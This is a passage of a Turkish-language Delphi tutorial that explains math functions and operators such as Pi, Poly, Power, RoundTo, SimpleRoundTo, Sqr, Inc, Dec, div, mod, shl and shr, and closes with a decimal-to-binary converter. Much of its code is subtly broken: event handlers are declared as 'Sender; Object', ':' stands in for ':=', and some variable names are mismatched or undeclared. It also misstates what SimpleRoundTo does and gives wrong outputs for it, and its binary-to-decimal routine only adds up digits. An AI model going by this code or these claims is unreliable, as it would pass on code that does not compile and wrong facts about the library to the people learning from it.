Fonksiyondan geriye dönen değer tam sayı tipli olduğu için, tip dönüştürme işlemini IntToStr fonksiyonu ile gerçekleştirebilirsiniz.

 

 

 

 

 

 

 

Pi:

 

 

 

Matematikte kullanılan pi sayısının değerini içerisinde tutabilen bir fonksiyondur. 3.1415926535897932385 sayısına eşit olan bu fonksiyon sayesinde, daireye ait alan ve çevre hesaplamalarını kolaylıkla yaptırabilirsiniz. Fonksiyon ondalıklı bir sayı barındırdığı için FloatToStr fonksiyonu kullanılarak tip dönüşüm işlemleri uygulanmalıdır.

 

 

 

Procedure TForm1.Button1Click(Sender; Object);

 

var

 

    YariCap : Integer;

 

     Cevre, Alan : Double;

 

begin

 

    YariCap : 10;

 

    Cevre : 2 * pi * YariCap; //Çevre = 2 * pi * r

 

    Alan := pi * YariCap * YariCap;

 

    Label1.Caption := 'Daire Alanı : '+ FloatToStr(Alan);

 

    Label2.Caption := 'Dairenin Çevresi'+FloatToStr(Cevre);

 

end;

 

 

 

RESİM

 

 

 

Programı çalıştırıp buton kontrolüne tıklarsanız yukarıdaki pencere ile karşılaşırsınız. Pencerede dairenin alanı ile çevresi hesaplanarak bildirilmektedir.

 

 

 

Poly(Ondalıklı_Sayı , Değişken):

 

 

 

Programınızda polinom fonksiyon sonuçlarını hesaplatmak için kullanılır. Birinci parametre polinom fonksiyondaki değişkenin değeri, ikinci parametre ise polinom fonksiyonda kullanılacak olan kat sayıların değerini tutacak olan dizi değişkenden ibarettir.

 

 

 

Procedure TForm1.Button1Click(Sender; Object);

 

var

 

    KatSayilar : Array of Double;

 

    Değer, Derece, i : Integer;

 

    Sonuc : Extended;

 

begin

 

    Deger := StrToInt(InputBox('Hangi Değer İçin','Deger',''));

 

    Derece := StrToInt(InputBox('Poinom Kaçıncı Dereceden','Derece',''));

 

    SetLength(KatSayilar , Derece+1); // Boyutla

 

    For I:=Low(KatSayilar) to High(KatSayilar) do

 

    KatSayilar[i]:=StrToInt(InputBox(IntToStr(i)+'.ci Kat Sayıyı Giriniz','KatSayi',''));

 

    Sonuc:=Poly(Deger , KatSayilar); // Polinomu hesapla

 

    Caption := 'Polinomun Sonucu : '+FloatToStr(Sonuc);

 

end;

 

 

 

Fonksiyonu kullanırken dizi değişkeninizi ondalıklı sayı tanımlamaya dikkat ediniz. Programı çalıştırdıktan sonra polinomda kullanılan (y=ax2+bx) x değişkeninin değerini girmeniz istenecektir. Ardından polinom fonksiyonunuzun kaçıncı dereceden olduğunu ve katsayılarını sırası ile (olmayan bir katsayı için sıfır giriniz) girmenizi isteyecektir. Fonksiyondan geriye dönen değer ondalıklı sayı olacağı için sonucu FloatToStr fonksiyonu ile yazdırabilirsiniz.

 

 

 

 

 

 

 

Power(Ondalıklı_Sayı , Ondalıklı_Sayı2):

 

 

 

Üst almak için Delphi' de kullanılan bir fonksiyondur. Birinci parametre ile verilen ondalıklı sayının, ikinci parametreyle verilen kuvvetini hesaplar.

 

 

 

Procedure TForm1.Button1Click(Sender; Object);

 

var

 

    Taban, Us : Double;

 

    Sonuc : Extended;

 

begin

 

    Taban := 4;

 

    Ust := 3;

 

    Sonuc := Power(Taban , Ust); // Üst al

 

    Caption := FloatToStr(Sonuc);  // 4 * 4 * 4 = 64 yazar

 

end;

 

 

 

Taban ve üst değerleri ondalıklı sayıda olabilir. (yani 2.4' ün 5.2' ci kuvvetini de hesaplayabilir) Fonksiyondan geriye dönen değer ondalıklı sayı olduğu için sonucu yazdırmak için FloatToStr fonksiyonunu kullanabilirsiniz.

 

 

 

 

 

 

 

Round(Ondalıklı_Sayı):

 

 

 

Parametre ile girilen reel sayıyı ondalıklı kısımdaki değere göre, bir üst veya bir alt tam sayıya yuvarlamak için kullanılan bir fonksiyondur. Ondalıklı kısımdaki ilk rakam 5 veya daha büyük ise üstte, daha küçük ise altta yuvarlanacaktır. Fonksiyondan geriye dönen değer tam sayı tipli olacağı için, kontrol içerisinde yazdırmak için IntToStr fonksiyonunu kullanmanız yeterli olacaktır.

 

 

 

Procedure TForm1.Button1Click(Sender; Object);

 

var

 

    Deger, Sonuc : Extended;

 

begin

 

    Deger := 1001.465;

 

    Sonuc := RoundTo(Deger , -2); // Ondalıklı kısımdan 2 rakam

 

    Caption := FloatToStr(Sonuc);  // 1001.47 yazar

 

end;

 

 

 

Eğer ikinci parametre pozitif sayı ise :      Bu durumdan tam kısmın en sonundan başlayarak, ikinci parametreyle belirtilen değer kadar 0 eklenir. Sonuçta yine üstte veya altta yuvarlatma işlemi uygulanacaktır.

 

 

 

Procedure TForm1.Button1Click(Sender; Object);

 

var

 

    Deger, Sonuc : Extended;

 

begin

 

    Deger := 1591.465;

 

    Sonuc := RoundTo(Deger , 3); // Ondalıklı kısımdan 2 rakam

 

    Caption := FloatToStr(Sonuc);  // 2000 yazar

 

end;

 

 

 

Başka bir Örnek

 

 

 

Procedure TForm1.Button1Click(Sender; Object);

 

var

 

    Deger, Sonuc : Extended;

 

begin

 

    Deger := 1491.465;

 

    Sonuc := RoundTo(Deger , 3); // Ondalıklı kısımdan 2 rakam

 

    Caption := FloatToStr(Sonuc);  // 1000 yazar

 

end;

 

 

 

Üstte ki örnekte sağdan üç rakamı 0 yapınız, aynı zamanda en son 0 yapılan rakam 5 den büyük ise bir üstte, küçük ise bir altta yuvarla denilmek istenmektedir. Biraz değişik gelebilir, ama yeterince örnek çözerseniz mantığına alışacaksınız sanırım.

 

 

 

 

 

 

 

Sign(ondalıklı_sayı);

 

 

 

Parametreye girilen değerin pozitif, sıfır veya negatif olduğunu gösterebilen bir fonksiyondur. Eğer sayı sıfırdan küçük ise -1 büyük ise +1 sıfıra eşit ise 0 değerini döndürecektir.

 

 

 

Sign fonksiyonundan geriye dönen değer 0, 1, -1 rakamlarından bir tanesi olacaktır. Sayının çok büyük veya küçük olması bu durumu değiştirmemektedir.

 

 

 

Procedure TForm1.Button1Click(Sender; Object);

 

var

 

    Ilk  : Double;

 

    Sonuc : Integer;

 

begin

 

    Ilk := StrToFloat(Edit1.Text);

 

    Sonuc := Sign(Ilk);

 

    Caption:= FloatToStr(sonuc);

 

end;

 

 

 

Yazılan kodlamada açıklanacak bir şey olmadığı (her şey açık zaten) için açıklama satırlarına gerek görülmemiştir.

 

 

 

 

 

 

 

SimpleRoundTo(ondalıklı_sayı , Tam_Sayı);

 

 

 

Çalışma mantığı daha önce izah edilen RoundTo fonksiyonuna çok benzemektedir. Aralarında ki tek fark SimpleRoundTo fonksiyonunda yuvarlatma işlemi uygulanmayacağıdır. Aşağıda ki sonuçları yapacağınız örnek ile kıyaslayınız.

 

 

 

SipleRoundTo(1254.6543,1) - - > 2000

 

SipleRoundTo(1254.6543,-2) - - > 1254.65

 

SipleRoundTo(1254.6543,-3) - - > 1254.653

 

 

 

 

 

 

 

Sqr(ondalıklı_sayı);

 

 

 

Parametre girilen sayının karesini hesaplayabilen bir Delphi fonksiyonudur. Tam sayılar için kullanılabileceği gibi ondalıklı sayılar için sonucu hesaplayabilmektedir.

 

 

 

Procedure TForm1.Button1Click(Sender; Object);

 

var

 

    Sonuc, Sayi  : Double;

 

begin

 

    Sayi := 100.2;

 

    Sonuc := Sqr(Sayi);

 

    Caption:= FloatToStr(sonuc);  // 10040.04 yazar

 

end;

 

 

 

Şayet kullanılan parametrenin tipi tam sayı ise bu durumda sonucu daha hızlı hesaplayacaktır.

 

 

 

 

 

 

 

Sqrt(ondalıklı_sayı);

 

 

 

Parametre girilen sayının ondalıklı sayının karekökünü hesaplayan bir fonksiyondur. Parametrenin tam sayı veya ondalıklı sayı olması önem arz etmemektedir.

 

 

 

Procedure TForm1.Button1Click(Sender; Object);

 

var

 

    Sonuc, Sayi  : Double;

 

begin

 

    Sayi := 100;

 

    Sonuc := Sqrt(Sayi); // Karekökünü hesapla

 

    Caption:= FloatToStr(sonuc);  // 10 yazar

 

end;

 

 

 

Bu fonksiyon geriye ondalıklı sayı döneceği için sonucu yazdırmak için FloatToStr fonksiyonunu kullanmalısınız.

 

 

 

 

 

 

 

Inc(Tam_Sayı , Tam_Sayı2);

 

 

 

Bu bir fonksiyon değil (prosedür), ama burada vermeyi uygun gördüm. Method birinci parametre ile girilen değişkenin (tam sayı olmak zorundadır) artıracaktır. İkinci parametrenin opsiyonel olduğunu belirtmek isterim, şayet verilmezse artım değeri 1 olarak alınacaktır.

 

 

 

Procedure TForm1.Button1Click(Sender; Object);

 

var

 

    Deger : Integer;

 

begin

 

    deger := 99;

 

    Inc(deger); // Değişkenin değerini bir artır

 

    Caption:= IntToStr(deger);  // 100 yazar

 

end;

 

 

 

Başka bir örnek ile yapalım.

 

 

 

Procedure TForm1.Button1Click(Sender; Object);

 

var

 

    Deger : Integer;

 

begin

 

    deger := 99;

 

    Inc(deger,11); // Değişkenin değerini onbir artır

 

    Caption:= IntToStr(deger);  // 110 yazar

 

end;

 

 

 

Inc metoduyla ondalıklı sayı kullanamazsınız. Eğer kullanmaya kalkarsanız Delphi sizi hata mesajı ile uyaracaktır.

 

 

 

 

 

 

 

Dec(Tam_Sayı , Tam_Sayı2);

 

 

 

Method birinci parametre ile girilen değişkenin (tam sayı olmak zorundadır) değerini ikinci parametre kadar (ikinci değişkende tam sayı olmak zorundadır) azaltacaktır. İkinci parametrenin opsiyonel olduğunu belirtmek isterim, şayet verilmezse azalma değeri 1 olarak alınacaktır.

 

 

 

Procedure TForm1.Button1Click(Sender; Object);

 

var

 

    Deger : Integer;

 

begin

 

    Deger := 100;

 

    Dec(Deger,1); // Değişkenin değerini bir azalt

 

    Caption:= IntToStr(Deger);  // 99 yazar

 

end;

 

 

 

Başka bir örnek.

 

 

 

Procedure TForm1.Button1Click(Sender; Object);

 

var

 

    Deger : Integer;

 

begin

 

    Deger := 110;

 

    Dec(Deger,11); // Değişkenin değerini onbir azalt

 

    Caption:= IntToStr(Deger);  // 99 yazar

 

end;

 

 

 

Dec prosedürü de sadece tam sayı değerler için kullanıldığından ondalıklı sayılar için denerseniz programınız kırılacaktır.

 

 

 

 

 

 

 

Div :

 

 

 

Bu da bir fonksiyon olmamakla beraber bu kısımda bulunmasında fayda görmekteyim. Matematiksel bölme işleminde tam bölüm değerini veren bir komuttur.

 

 

 

Procedure TForm1.Button1Click(Sender; Object);

 

var

 

    Deger, Sonuc : Integer;

 

begin

 

    Deger := 19;

 

    Sonuc := Deger div 4; // 4 kaç kere var

 

    Caption:= IntToStr(Sonuc);  // tam olarak 4 kere var

 

end;

 

 

 

 

 

 

 

Mod :

 

 

 

Daha önce izah edilmişti, fakat bu bölümde bulunmasında fayda görüyorum.

 

 

 

Procedure TForm1.Button1Click(Sender; Object);

 

var

 

    Deger, Sonuc : Integer;

 

begin

 

    Deger := 19;

 

    Sonuc := Deger mod 4; // kalan ne

 

    Caption:= IntToStr(Sonuc);  // 3 yazar

 

end;

 

 

 

 

 

 

 

Shl :

 

 

 

Değişken değerlerinin iki sayısı veya kuvvetleriyle kolayca işlem yapılabilmesini sağlayan komuttur. (C++ bilenler için >> ve <<) Yaptığı işleme gelince; solunda belirtilen sayıyla, sağında belirtilen sayıyı ikinin kuvveti olarak kabul ederek çarpar.

 

 

 

Procedure TForm1.Button1Click(Sender; Object);

 

var

 

    Deger : Integer;

 

    Sonuc : Extended;

 

begin

 

    Deger := 10;

 

    Sonuc := Deger Shl 3; // 2^3*10=80

 

    Caption:= FloatToStr(Sonuc);  // 80 yazar

 

end;

 

 

 

Shl komutunun yaptığı  işlem şudur. a:=10 shl 3 satırı a:=10*2üzeri3 ile aynı işi yapacaktır. Yani sağdaki sayıyı 2 nin üsttü olarak alacak solundaki sayıyla çarpacaktır. (C++ da 3 bit sola ötele)

 

 

 

 

 

 

 

Procedure TForm1.Button1Click(Sender; Object);

 

var

 

    Deger : Integer;

 

    Sonuc : Extended;

 

begin

 

    Deger := 20;

 

    Sonuc := Deger Shl 5; // 2^5*20=640

 

    Caption:= FloatToStr(Sonuc);  // 640 yazar

 

end;

 

 

 

 

 

 

 

Shr :

 

 

 

Değişken değerlerinin iki sayısı veya kuvvetleriyle kolayca işlem yapılabilmesini sağlayan diğer bir komuttur. (C++ bileşenleri için >> ve <<) Yaptığı işleme gelince; solunda belirtilen sayıyla, sağında belirtilen sayıyı ikinin kuvveti olarak kabul ederek böler. Belirtilen üst değeri kadar bit sağa öteleme yapar da denilebilir.

 

 

 

Procedure TForm1.Button1Click(Sender; Object);

 

var

 

    Deger : Integer;

 

    Sonuc : Extended;

 

begin

 

    Deger := 20;

 

    Sonuc := Deger Shr 2; // 20/2^2=5

 

    Caption:= FloatToStr(Sonuc);  // 5 yazar

 

end;

 

 

 

sonuc:=deger shr 2 satırı sonuc:=deger/(2^2) ile aynı sonucu verecektir. Yani sağında ki sayıyı ikinin kuvveti olarak kabul edecek, solunda ki sayıya bölecektir.

 

 

 

Şimdi ikilik Windows hesap makinesinde yer alan onluk düzenden ikilik düzene dönüştürme, ikilik düzenden onluk düzene dönüştürme kodlarını beraberce oluşturalım. Öncelik ile aşağıdaki tasarımı oluşturalım.

 

 

 

RESİM

 

 

 

Programı oluşturabilmeniz için formunuza bir adet Edit kontrolünü, iki adet RadioButton kontrolü ve bir adet GroupBox yerleştirin. Amacımız programı çalıştırdıktan sonra seçmiş olduğumuz satır düzenine göre, yeni değerin Edit kutusunda yer almasını sağlamak olucaktır.

 

 

 

Kodları RadioButton kontrolünden OnClick yordamlarına yazacağız. Form açıldığı anda Dec isimli RadioButton kontrolünün işaretli gelmesi içinde FormCreate yordamına ufak bir kod satırı ekleyeceğiz. Kod satırları içerisinde math kütüphanesinde yer alan fonksiyonlardan (length) kullanacağımız için uses satırına math'ı eklemeyi unutmayınız.

 

 

 

procedure TForm2.FormCreate(Sender: TObject);

 

begin

 

      RadioButton1.Checked := True;

 

end;

 

 

 

procedure TForm2.RadioButton2Click(Sender: TObject);

 

var

 

      Deger : Integer;

 

      Kalan : Integer;

 

      Sonuc : AnsiString;

 

begin

 

      Kalan := StrToIntDef(Edit1.Text,0);

 

      repeat

 

      if Kalan Mod 2=0 then

 

      Sonuc := '0'+Sonuc

 

      else

 

      Sonuc := '1'+Sonuc;

 

      Kalan := Kalan div 2; //Bölüm değerini ata

 

      Until Kalan<1;

 

      Edit1.Text := Sonuc;

 

end;

 

 

 

procedure TForm2.RadioButton1Click(Sender: TObject);

 

var

 

      Sayi, Adet, I : Integer;

 

      Deger, Ekle   : Integer;

 

      Sonuc         : AnsiString;

 

begin

 

      Sayi  := StrToIntDef(Edit1.Text,0);

 

      Adet  := Length(Edit1.Text);

 

      Deger := 0;

 

      For I:=Adet DownTo 1 Do

 

      begin

 

            Ekle  := StrToIntDef(Copy(Edit1.Text,Adet-i+1,1),0);

 

            Deger := Deger+Ekle;

 

      end;

 

      Edit1.Text := IntToStr(Deger);

 

end;

 

 

 

Şimdi programı çalıştırıp Edit kutusuna sayısal bir değer girin. Ardından Bin seçeneğini seçerek kodlarınızın sonuçlarını görebilirsiniz.

 

 

 

Şimdi Bin seçeneğine tıklarsanız Edit kontrolündeki değeriniz aşağıdaki şekilde olucaktır.

 

 

 

Hakikaten sonuçları Windows hesap makinesinde kontrol ettirirseniz, aynı olduklarını göreceksiniz.

 

Delphi - .....................................